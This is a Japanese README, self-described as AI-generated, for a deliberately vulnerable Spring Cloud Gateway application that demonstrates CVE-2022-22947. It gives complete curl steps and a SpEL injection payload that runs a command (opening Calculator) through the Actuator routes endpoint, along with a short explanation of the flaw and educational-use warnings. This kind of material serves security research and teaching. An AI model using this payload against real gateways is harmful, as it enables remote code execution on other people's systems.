
AIによって生成された脆弱性検証アプリケーション
これは CVE-2022-22947 脆弱性をデモおよび検証するための Spring Cloud Gateway アプリケーションです。このアプリケーションは脆弱なバージョンの Spring Cloud Gateway を使用しており、Actuator エンドポイントを介して任意のコードを実行できます。
CVE-2022-22947 は Spring Cloud Gateway におけるリモートコード実行脆弱性です。攻撃者は Actuator エンドポイントを介して悪意のある SpEL 式を含むルートを動的に追加し、任意のコードを実行できます。
mvn spring-boot:run
アプリケーションは http://localhost:8080 で起動します。
/actuator/gateway/routes/test エンドポイントに POST リクエストを送信し、悪意のある SpEL 式を含むルートを追加します:
curl -X POST http://localhost:8080/actuator/gateway/routes/test \
-H "Content-Type: application/json" \
-d '{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}'
/actuator/gateway/refresh エンドポイントに POST リクエストを送信してルートをリフレッシュします:
curl -X POST http://localhost:8080/actuator/gateway/refresh
悪意のあるルートにアクセスしてコード実行をトリガーします:
curl http://localhost:8080/test
脆弱性を悪用すると、macOS の電卓アプリケーションが起動します。
エンドポイント: POST /actuator/gateway/routes/test
リクエストヘッダー:
Content-Type: application/json
リクエストボディ:
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}
エンドポイント: POST /actuator/gateway/refresh
エンドポイント: GET /test
この脆弱性により、攻撃者は Actuator エンドポイントを介してルートを動的に追加し、ルートフィルターで SpEL 式を使用して任意のコードを実行できます。脆弱性の核心は、Spring Cloud Gateway がルート設定内の SpEL 式を適切に処理しないことです。
⚠️ セキュリティ警告: このアプリケーションは教育およびセキュリティ研究目的のみに使用されます。本番環境で使用またはデプロイしないでください。
⚠️ 法的声明: このアプリケーションを使用して脆弱性テストを行う場合は、適切な権限があることを確認してください。無許可のテストは法律に違反する可能性があります。